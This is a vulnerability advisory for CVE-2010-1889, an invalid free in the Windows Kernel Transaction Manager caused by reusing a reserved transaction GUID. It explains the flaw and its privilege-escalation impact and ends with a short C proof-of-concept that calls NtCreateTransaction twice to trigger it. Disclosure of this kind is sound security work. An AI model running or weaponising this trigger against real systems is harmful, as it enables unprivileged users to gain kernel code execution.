Microsoft Windows KTM Invalid Free with reused transaction GUID
----------------------------------------------------------------------------
CVE-2010-1889
The Kernel Transaction Manager (ktm) was introduced in Windows Vista and
has been included in subsequent versions of Windows. Microsoft describes the
feature in this MSDN article:
http://msdn.microsoft.com/en-us/library/bb986748%28v=VS.85%29.aspx.
The API documentation for CreateTransaction() explains that the LPGUID
parameter UOW is reserved and must be NULL.
http://msdn.microsoft.com/en-us/library/aa366011%28VS.85%29.aspx
However, looking at nt!TmInitializeTransaction you can see Microsoft uses this
internally, and rely on a NULL LPGUID in NtCreateTransaction to differentiate
new transactions. Nothing prevents an attacker from ignoring the fact that this
parameter is reserved, allowing us to cause a pathological KTM state of
operation.
This vulnerability is obviously exploitable, and can be used to elevate
privileges on vulnerable systems.

Microsoft Windows.

Consequences
-----------------------
This issue may be of interest to security professionals but end users are
unlikely to be affected by this issue. An unprivileged user may be able to
execute arbitrary kernel code.
Example code to trigger this vulnerability is available below.
// Fixes some sdk include spaghetti http://support.microsoft.com/kb/130869
#define INITGUID
#include <windows.h>
#include <ktmw32.h>
#pragma comment(lib, "ktmw32")
DEFINE_GUID(Uow, 'AAAA', 'BB', 'CC', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K');
int main(int argc, char **argv)
{
FARPROC NtCreateTransaction;
HANDLE TransactionHandle;
NtCreateTransaction = GetProcAddress(GetModuleHandle("NTDLL.DLL"), "NtCreateTransaction");
TransactionHandle = INVALID_HANDLE_VALUE;
NtCreateTransaction(&TransactionHandle, TRANSACTION_ALL_ACCESS, NULL, &Uow, 0, 0, 0, 0, NULL, NULL);
NtCreateTransaction(&TransactionHandle, TRANSACTION_ALL_ACCESS, NULL, &Uow, 0, 0, 0, 0, NULL, NULL);
return;
}
